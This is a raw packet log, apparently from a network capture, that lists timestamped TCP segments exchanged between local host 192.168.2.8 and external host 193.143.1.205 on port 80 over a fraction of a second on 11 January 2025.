Jan 11, 2025 06:50:25.336632967 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.336653948 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.336668968 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.336715937 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.336715937 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.336724043 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.336759090 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.336791992 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.336826086 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.336863041 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.336863041 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.341479063 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.366172075 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.366225004 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.366260052 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.366292953 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.366328001 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.366355896 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.366375923 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.366375923 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.366729975 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.395363092 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.395375967 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.395385981 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.395418882 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.395430088 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.395441055 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.395452023 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.395498037 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.395509958 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.395519972 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.395545959 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.395545959 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.395582914 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.395663977 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.395675898 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.395685911 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.395703077 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.395703077 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.395718098 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.395775080 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.395785093 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.395796061 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.395806074 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.395811081 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.395811081 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.395833015 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.395854950 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.395867109 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.395922899 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.425046921 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.425117016 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.425173044 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.425208092 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.425241947 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.425270081 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.425270081 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.425272942 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.425287962 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.425324917 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.425358057 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.425405025 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.425410032 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.425443888 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.425494909 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.425503016 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.425554991 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.425555944 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.425606966 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.425646067 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.425678968 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.425713062 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.425730944 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.425792933 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.425807953 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.425868988 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.425919056 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.425920010 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.425961971 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.425993919 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.426012993 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.426045895 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.426079988 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.426106930 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.426114082 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.426136017 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.426152945 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.426181078 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.426214933 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.426249027 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.426280022 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.426294088 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.426294088 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.426331997 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.426363945 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.426398039 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.426399946 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.426399946 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.426431894 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.426476002 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.426485062 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.426533937 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.426570892 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.426603079 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.426636934 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.426649094 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.426649094 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.426670074 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.426703930 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.426734924 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.426769018 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.426776886 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.426776886 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.426803112 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.426837921 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.426870108 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.426903963 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.426935911 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.426950932 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.426950932 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.426969051 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.427000999 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.427035093 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.427043915 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.427043915 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.427068949 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.427103043 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.427139044 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.427181005 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.427181005 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.432045937 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.432097912 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.432148933 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.432180882 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.432214022 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.432245016 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.432245016 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.432266951 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.432302952 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.432337046 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.432338953 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.432373047 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.432405949 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.432435989 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.432441950 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.432451010 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.432476997 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.432512045 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.432545900 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.432548046 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.432598114 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.432629108 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.432661057 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.432689905 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.432689905 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.432698965 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.432730913 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.432765007 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.432796955 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.432796955 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.432832956 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.432867050 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.432895899 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.432895899 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.432902098 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.432934999 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.432960987 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.432967901 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.433022976 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.433028936 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.433058977 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.433109999 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.433145046 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.433196068 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.433231115 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.433257103 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.433257103 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.433264971 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.433299065 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.433331966 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.433357000 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.433357000 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.433367968 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.433403015 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.433767080 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.456957102 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.457010031 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.457043886 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.457077026 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.457112074 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.457118034 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.457145929 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.457181931 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.457233906 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.457233906 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.482382059 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.486078978 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.486104965 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.486115932 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.486125946 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.486135960 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.486146927 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.486159086 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.486185074 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.486229897 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.486270905 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.486270905 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.486304045 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.486320972 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.486331940 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.486351013 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.486361027 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.486373901 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.486403942 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.486403942 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.486418962 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.486474037 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.486484051 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.486500978 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.486511946 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.486522913 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.486532927 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.486542940 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.486536026 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.486557961 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.486568928 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.486581087 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.486620903 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.486620903 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.486620903 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.486620903 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.515600920 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.515619040 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.515629053 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.515639067 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.515650034 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.515660048 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.515672922 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.515690088 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.515702009 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.515713930 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.515724897 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.515732050 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.515732050 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.515779018 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.516103029 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.516155005 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.516155005 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.516176939 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.516235113 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.516293049 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.516329050 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.516369104 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.516369104 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.516382933 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.516436100 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.516470909 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.516525984 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.516530991 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.516561985 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.516613007 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.516616106 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.516666889 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.516702890 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.516743898 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.516743898 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.516755104 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.516815901 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.516865015 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.516915083 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.516952038 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.516956091 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.516956091 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.516993999 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.517024040 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.517066956 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.517101049 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.517107964 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.517107964 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.517132998 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.517185926 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.517189026 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.517236948 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.517271042 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.517306089 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.517338037 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.517344952 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.517344952 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.517374992 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.517425060 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.517461061 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.517467976 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.517519951 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.517548084 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.517554998 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.517608881 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.517613888 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.517644882 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.517673969 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.517728090 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.517750025 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.517780066 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.517813921 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.517853975 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.517853975 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.517864943 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.517899990 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.517950058 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.517982006 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.518042088 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.518042088 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.518054962 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.518089056 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.518122911 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.518136024 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.518157959 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.518193007 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.518225908 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.518249035 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.518261909 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.518275976 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.518296003 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.518332005 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.518366098 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.518400908 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.518405914 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.518405914 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.518435001 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.518471956 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.518506050 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.518528938 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.518539906 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.518552065 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.518574953 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.518610954 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.518637896 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.518646002 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.518681049 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.518714905 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.518742085 CET	49705	80	192.168.2.8	193.143.1.205
